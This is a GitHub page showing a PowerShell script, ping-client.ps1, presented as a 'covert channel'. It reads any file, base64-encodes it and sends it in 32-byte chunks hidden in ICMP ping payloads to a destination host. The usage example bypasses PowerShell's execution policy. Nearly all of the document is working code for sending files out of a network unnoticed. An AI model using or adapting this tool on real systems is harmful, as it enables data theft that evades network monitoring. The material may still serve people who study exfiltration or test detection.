-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathping-client.ps1
99 lines (76 loc) · 2.73 KB
/
ping-client.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#requires -version 1
<#
.SYNOPSIS
Ping simple covert channel
.DESCRIPTION
Use ICMP echo request to send binary data as the packet payload
.PARAMETER Destination
The receiver
.PARAMETER File
The file we want to send through ICMP echo requests
.PARAMETER PayloadSize
By default we're using a 32Bytes payload size
.INPUTS
None
.OUTPUTS
<Outputs if any, otherwise state None - example: Log file stored in C:\Windows\Temp\<name>.log>
.NOTES
Version: 1.0
Author: Yassine Ilmi - yassine.at.ilmi.dot.fr
Creation Date: 16/06/2017
Purpose/Change: Ping simple covert channel
.EXAMPLE
ping-client.ps1 my.server.com /path/to/my/file 32
powershell.exe -ExecutionPolicy Bypass ping-client.ps1 my.server.com 32
#>
#----------------------------------------------------------[Declarations]----------------------------------------------------------
$ScriptVersion = "1.0"
#-----------------------------------------------------------[Functions]------------------------------------------------------------
Function pingTransferClient{
Param(
[parameter(Mandatory=$true,Position=0)]
[string]
$Destination = $false,
[parameter(Mandatory=$true,Position=1)]
[string]
$File = $false
)
Process{
Try{
#Starting stopwatch to measure execution time
$StopWatch = [System.Diagnostics.Stopwatch]::StartNew()
#Reading the file to base64
$binaryFile = [System.IO.File]::ReadAllBytes($File)
$base64File = [System.Convert]::toBase64String($binaryFile).toCharArray()
#Dividing filesize by chunksize to determine how many pings we will need
$sliceSize = 32
$slicesNumber = [Math]::Ceiling($base64File.count / $sliceSize)
#Looping for each chunk to slice and send the data
for($slice=0;$slice -lt $slicesNumber;$slice++){
$sendBuffer = $null
for ($char=0;$char -lt $sliceSize;$char++){
$sendBuffer += $base64File[($slice*$sliceSize)+$char]
}
Write-Output("Sending ping: "+$slice)
$bytesSendBuffer = [System.Text.Encoding]::ASCII.GetBytes(($sendBuffer))
$Ping = [System.Net.NetworkInformation.Ping]::new()
$Ping.Send($Destination,60,$bytesSendBuffer)
}
#Stopping stopwatch to print results
$StopWatch.Stop()
$ElapsedSeconds = [math]::Round($StopWatch.Elapsed.TotalSeconds,2)
Write-Output("Execution took " + $ElapsedSeconds + " seconds")
}
Catch{
Write-Output($_.Exception)
Break
}
}
End{
If($?){
Write-Output("Operation completed successfully")
}
}
}
#-----------------------------------------------------------[Execution]------------------------------------------------------------
pingTransferClient $args[0] $args[1]